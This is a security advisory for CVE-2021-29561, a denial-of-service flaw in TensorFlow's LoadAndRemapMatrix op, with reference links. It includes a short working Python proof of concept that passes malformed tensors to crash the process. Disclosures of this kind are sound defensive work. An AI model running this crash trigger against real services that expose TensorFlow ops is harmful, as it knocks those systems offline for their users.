CVE-2021-29561: CHECK-fail in `LoadAndRemapMatrix`
(updated )
An attacker can cause a denial of service by exploiting a CHECK
-failure coming from tf.raw_ops.LoadAndRemapMatrix
:
import tensorflow as tf
ckpt_path = tf.constant([], shape=[0], dtype=tf.string)
old_tensor_name = tf.constant("")
row_remapping = tf.constant([], shape=[0], dtype=tf.int64)
col_remapping = tf.constant([1], shape=[1], dtype=tf.int64)
initializing_values = tf.constant(1.0)
tf.raw_ops.LoadAndRemapMatrix(
ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,
row_remapping=row_remapping, col_remapping=col_remapping,
initializing_values=initializing_values, num_rows=0, num_cols=1)
References
- github.com/advisories/GHSA-gvm4-h8j3-rjrq
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-489.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-687.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-198.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4
- github.com/tensorflow/tensorflow/security/advisories/GHSA-gvm4-h8j3-rjrq
- nvd.nist.gov/vuln/detail/CVE-2021-29561
Detect and mitigate CVE-2021-29561 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →